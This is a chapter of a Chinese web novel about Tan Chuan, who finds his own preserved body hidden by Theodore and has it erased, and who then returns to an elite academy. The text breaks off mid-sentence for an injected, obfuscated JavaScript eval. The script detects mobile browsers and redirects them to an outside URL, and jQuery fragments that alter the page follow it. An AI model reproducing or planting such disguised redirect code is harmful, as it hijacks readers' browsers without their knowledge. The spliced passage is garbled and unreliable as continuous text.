18.chapter18

作品:《直男是不可能掰弯直男的?

    机械门应声打开,扑面而来一股冷气。


    谭川握着那盘硌手的磁带,迟疑了几秒,小心翼翼走进去。


    密室的空间只有二十平方左右,并不大,地面浮动着轻飘飘的冷雾,两侧墙壁上亮起冷蓝色的灯光。他第一眼看到密室中央的棺椁,机械棺身,上方棺盖是透明的,能够清清楚楚看到棺材里的一切模样。


    在走近密室,看到这具棺椁以前,谭川对自己的尸体曾有过无数种猜想。


    他死于白风信子机甲和敌人舰队相撞后的爆炸,无论如何,尸体都绝不可能完整无缺。也许是粉身碎骨到血肉模糊,缺少一只眼睛,毁掉半张脸,四肢断裂残缺;又或者已经完全不成人形了,只是一滩血肉和骨骼融合在一起的异物。


    可看到尸体后,他呆住了。


    都不是。


    他的尸体完完整整的,静谧而安宁地躺在那里。一束新鲜纯洁的白风信子摆在棺椁边,似乎日日更换。而唯一可以窥见尸体曾经惨状的,大概只有隐藏在领口下隐约可见的缝合痕迹。


    西奥多没有把他的尸体挫骨扬灰,也没有作为研究的本体,而是以他最无法理解的方式,让他就这么安静地睡着。


    “为什么……”谭川不知所措,语速下意识加快问向小茉莉,“他为什么没有毁掉我,为什么,为什么要这样保存起来,他不是最讨厌我吗?当年那句话之后,他应该讨厌我到死才对。”


    小茉莉也懵了,但它比谭川更快反应过来:“川川,有谁会把自己讨厌的人的尸体藏在卧室里呢?西奥多怎么可能讨厌你,他肯定是……”


    它再次看向那具尸体,那么一瞬间仿佛能感同身受到西奥多这些年来看这具尸体的情感,声音一下哽住发涩,勉强才艰难挤出:“他肯定是很想你,才会把你藏在这里。”


    谭川没有说话,凝望着自己的尸体。


    西奥多想他?这怎么可能,肯定还有其他原因。西奥多那样的人,不可能为了所谓想念就做这种事。再说他能有多想自己?换成自己是西奥多,天天黏着自己纠缠不放的人死了,说不定还要大松一口气。


    而且西奥多本来就是个奇怪的人啊,他把尸体藏在这里肯定有他的利益关系。


    谭川第一反应是回避小茉莉说的那个可能,想尽无数种借口找补,总之就是不愿意承认。


    他用力晃动脑袋,扯动嘴角笑了笑:“他要是想我就说明他在乎我,那以前又干嘛一直拒绝我呢。”


    “可是——”


    “你都让我以弟弟的身份攻略他了,现在说这些又有什么用。”谭川打断它的话,“告诉我注销尸体的方法吧,再拖下去西奥多要醒了。”


    小茉莉欲言又止,但没再继续说下去。它以前就发现了,谭川总喜欢回避某些情感上的东西,虽然不知道原因,但大概率和他现实的家庭有关系。


    它叹一口气,飞到棺椁边。


    谭川打开棺盖,小茉莉迅速飞进去,和旧身体进行数据连接。


    注销原身体的方法很简单,要么物理销毁一把火烧了,要么数据销毁。二者的结果都是一样的,最后尸体都会灰飞烟灭。


    小茉莉闭着眼睛接收来自原身体的数据,突然抖动了两下猫耳,疑惑地睁开眼。


    “怎么了?”


    “原身体里有段我以前没见过的记忆,但是数据损毁了。”


    这跟身体发生过爆炸撞击有关,储藏在大脑里的数据严重受损,它读取不出来。


    “能恢复吗?”


    “需要一些时间,我努力努力。”数据传输完,小茉莉从棺椁里飞出来,“川川我弄好啦,我们要现在销毁它吗?”


    “如果毁掉身体,西奥多会怎么样?”谭川突然这样问道。


    但没有等小茉莉回答,他自己先给出了一个答案:“他也许会不开心。”


    倘若,倘若万分之一最不可能的那种可能,西奥多真的是因为有那么一丝丝地怀念自己,才会把尸体藏在这间离他近在咫尺的密室内。那么假如有一天,他再次习以为常地走进这里,却看到棺椁内空空如也,干净到似乎那具尸体从未出现过。他会怎么样?


    “可是川川,只有毁了这具身体我们才能开启新的攻略。”


    “我知道……”谭川揉着眉心,长长吐出胸中一口浊气。


    他望向那具尸体,随后又看向屋外西奥多的方向,闭眼道:“我想好了,注销吧。”


    小茉莉点头。它回到谭川脑海中,没多久,棺椁里的尸体逐渐化为透明,直至完全消失不见。唯一还残存的,只有那朵新鲜的,象征着生命火焰的白风信子花。


    与此同时一道机械电流声响过,小茉莉道:【恭喜您成功绑定数值面板,攻略对象:西奥多·奥斯汀,请问是否要现在查看当前数值?】


    棺椁里空空荡荡。


    他的脑海里多出了一堆冷冰冰的数值。


    如果西奥多看到这一幕……


    “下次再看吧。”


    将一切回复原位,他们离开更衣室回到床边。


    西奥多仍旧安稳地睡着,对密室里发生的一切全然不知。身上的被褥掉落床侧,来时谭川随手把被子扔到他身上的,一翻身自然全掉地了。


    他走回床边把被子捡起来,拍干净上面的灰,这一次仔细耐心地把被褥整齐捻好。整理边缘时,塞进衬衫扣的领带滑落出来,即将打到西奥多的侧脸。


    眼疾手快逮住领带,他一动不敢动,半晌见西奥多没动静才放松地呼了口气。


    小茉莉低声:“我们走吧川川?”


    又看了一眼沉睡的男人,谭川嗯声。


    关门从房间里离开时,他的目光透过玻璃向窗外。外界依旧雨声滂沱光影绰绰,天际边梦幻绽放的蝴蝶星云仿佛振动着翅膀。


    蝴蝶星云是一颗恒星走向死亡尽头的讣告,是生命的终结和告别。但也有人说过,它象征着新生的开始。


    ……


    “西奥多!”


    第二天一大早,林戚推开西奥多卧室的门。男人刚醒没多久,但衣着整齐,矜贵地坐在沙发上查阅晨报。


    “没人告诉你工作的时候应该称呼我什么吗?”


    林戚道:“知道知道,我们银河帝国尊敬且伟大的西奥多陛下。”


    西奥多瞥他一眼,关闭光屏,喝着咖啡。作为一名精力充沛的Alpha,脸上全无宿醉后的疲惫:“如果你是来问昨天我酗酒抽烟的原因,无可奉告。”


    林戚这个最秉持着公私分明的人突然在工作时间直呼他的名字,只会有一种可能,他是来吃瓜的。


    “你昨晚酗酒了?为什么?你惨遭谁抛弃了?”林戚一副闻到味的诧异表情。


    “……”他就不该自己提。西奥多转移话题,“你刚刚要问什么?”


    林戚立马坐正:“你之前在玛拉夫人那里算命过对吧,玛拉夫人昨天才跟我说你算的是桃花。真人不露相啊西奥多,你居然也会对桃花姻缘这种东西感兴趣。欸你问出来到底是什么结果,好不好都跟朋友分享一下,让朋友高兴高兴啊。”


    西奥多霍然冷声:“那种迷信的存在毫无可信度。”


    “玛拉夫人可说你完全相信呢。等下,你不会当时有喜欢的人吧,你没跟我们说过啊!那我以前还巴巴地写那么多你和谭川的同人文。”


    “我不相信。”西奥多一字一顿咬得很重,“仅靠一颗水晶球就能推演人的未来,这种幼稚无聊的行为尝试一次就够了,相信它的人才是蠢笨至极。”


    “你急了。所以你问的是和谁的姻缘?”


    “……”西奥多重重放下杯子,面无表情,“林戚执行官,我刚刚收到联邦发来的邀请函,需要一个人两月后前往他们的首都【水泽】参加外交宴会,看来你很闲,这件事就交给你了。”


    “我?!”林戚弹起来,“我一个帝国人去联邦不是有去无回,不死也要废半条命啊!”


    “你不会一个人去,可以带上你的堂弟一起。”


    “他能顶什么用,贵族学院出来的公务员连枪都拿不动!”


    “进入水泽城禁止携带枪械,你可以多带两颗止痛药。”西奥多打开邮件,“我现在就回复他们人选。”


    “不不不。”林戚求饶比放屁还快,捂着自己的心脏,“我错了尊敬的银河帝国陛下,我再也不过问您的私人生活,我这就去工作,从此以后再也不八卦。你就换另一个倒霉蛋去参加晚宴吧,下议院不是有那么多群情激奋的精神斗士吗!我只是一个平平无奇的从战列舰舰长转职公务员并且还能做到首席执行官的小小人才而已啊!”


    西奥多一脸无语。


    趁他反悔前,林戚夺门而出,带着一脸“我要认真工作回馈社会”的凶狠表情冲出王宫。


    刚好进王宫的秘书办另一名执行官雷伊瞧见自家前辈如此炽热的目光,拿下眼睛感动地擦了擦,然后敲响西奥多的门。


    “陛下,刚刚从联邦传送回来的暗号,有人发现残余星际海盗的下落了。”


    正要去密室看谭川的西奥多停住,脚步一转,朝外走去。


    ……


    林戚坐在车上,并没打算去工作。


    他今天上午的工作只有两个会议,第一个会议是听一群并不环保的环保组织成员,用满口“宇宙是我家,环保靠大家”的口吻讨论如何在新发现星球里开采出更多的矿石。


    第二个会议,哈哈,更好笑了,是讨论给那些只有编号的边缘星球重新命名的事。然而每次都会吵得不可开交,上一次开会一群人甚至半路开始互扔烟雾弹。是真的烟雾弹。


    偌大的会议室里烟雾缭绕,机器人疯狂


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17320345|198590||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    警报,两派人挥舞着拳头打得你死我活,砸终端砸设备,还有人把自己的鞋脱下来朝对方脸上丢过去。林戚躲在烟雾里,也趁机对着自己看不顺眼的一群老登偷偷揍了两拳。


    过程是很爽的,但结果导致他脆弱的眼睛整整半个月迎风流泪。


    所以这次他只丢了一个自己的投影过去,誓死不要真身与会。


    “没事干,去哪逛会儿呢?”


    他指尖敲着方向盘,打开终端上记录的日程表,忽然看到一条。


    “哦?今天是谭莉殿下复学的日子啊。”


    昨晚是谭莉殿下把醉酒的西奥多送回去的,没准他知道点什么。林戚计上心来,方向盘打死一转,掉头朝另一个方向去。


    谭川一整晚没睡,抽了很多烟。


    早上宛如一具尸体般被阿彻捞起来,谭川双脚悬浮,半死不活地刷牙洗脸,换好耶尔达学院的专属制服。等他回过神时已经坐在车里,并且驾驶位上还出现了一张熟悉无比的脸。


    “看来我还没睡醒,再回去睡一觉!”


    谭川转身就要逃下车,被林戚一把揪住:“小殿下你看到我跑什么,我明明长这么帅。”


    “我有一看到过度自信的人就恐惧的病。”


    其实是他现在根本不敢见西奥多,连带着和西奥多亲近的林戚也不敢见。


    “……为什么你就不能说是看到太帅的人就恐惧的病。”


    “那样会让你高兴,我不要。”


    宇宙真理之一:宁愿看好兄弟流泪,不愿看好兄弟得意。


    林戚磨牙微笑:“小殿下说话还真是好听。把安全带系好,今天我是你的代理哥哥,全权负责你的一切复学手续。”


    谭川系好安全带,膝盖上还有临走前阿彻拿给他的早餐饭盒。把鸡蛋砸向脑门磕碎,边剥开鸡蛋边道:“毕业了我也要当王宫编制的公务员,日子一定非常轻松。”


    “考编制可不是什么简单的事,考试可难了。”他瞥了眼谭川敲碎鸡蛋的动作,顿了一下,没有多怀疑。


    “你考了多少?”


    “我是军转特批,没经过考试。”


    “……全宇宙的公务员应该恨死你了。”


    林戚轻笑一声,对少年如此气定神闲的姿态有些诧异。他还以为谭莉殿下会非常不安复学的事,毕竟那座耶尔达学院……对他可不是什么好学校。


    “看来小殿下已经做好了面对苦难的准备了。”


    谭川把一整个鸡蛋塞进嘴里,吃得腮帮子鼓鼓的,像只往嘴里藏坚果的小仓鼠。


    他疑惑:“啊?”


    “……小殿下你不会不知道吧?那是耶尔达学院啊。”


    “我知道啊,就一个贵族学校而已。”


    再难还能有军校难?军校天天打架他都不怕。


    林戚无奈摇头,看他这模样就知道他久居深闺,根本不了解耶尔达学院的结构和情况。


    “好吧,那我这个代理哥哥只能尽职尽责地给你介绍了。”


    他伸出五根手指:“耶尔达贵族学院的组成部分大致为四类:第一类是皇室成员,地位最高,权力也最大,是人上人;第二类是各种功勋贵族子弟;第三类是各部门大臣或社会上流阶层家族的孩子,譬如财务部部长的孩子,著名法官或医生的孩子,然后就是最后一类,优秀卓绝的平民子弟,每年都会挑选一些各地区星球优秀的孩子全免学费入校。”


    【谭川:好熟悉的背景,流星花园真走进我的现实了。】


    【小茉莉:哇,那川川你就是F4的头头了!】


    谭川没想到自己也有当玛丽苏文学F4的时候,懒洋洋的:“皇室成员的地位最高,我是不是可以指哪打哪。”


    “当然不是。”林戚摇着最后一根手指,“殿下您是最后一类,联邦血脉。”


    “帝国对联邦的态度可见一斑,殿下这些年来应该也深有体会。耶尔达学院汇聚着诸多势力,执政党,以及包含工党、民主党、自由党等多个党派的在野党,还有反对党,彼此之间派系分明阵营敌对,但他们都有一个共同点——对联邦的极端厌恶。17年前那场联邦和帝国间的宇宙战役中帝国太多英雄战死,你的生父也算是罪魁祸首之一……”


    林戚意有所指,没继续说下去,但他相信少年能懂。


    “简而言之,你在耶尔达学院会是一个人人喊打的存在。”


    谭川咕咚一声干巴巴把鸡蛋咽下去:“…医生我还有救吗?”


    “重新投胎可以。”


    “那我还有一个问题。”他举起手。


    林戚点头:“请问。”


    “我不想要人人喊打,所以请问,可以我打人人吗?”


    他伸出自己坚不可摧的拳头,另一只手抹过鼻尖,做了个标准李小龙的动作:“我打!~”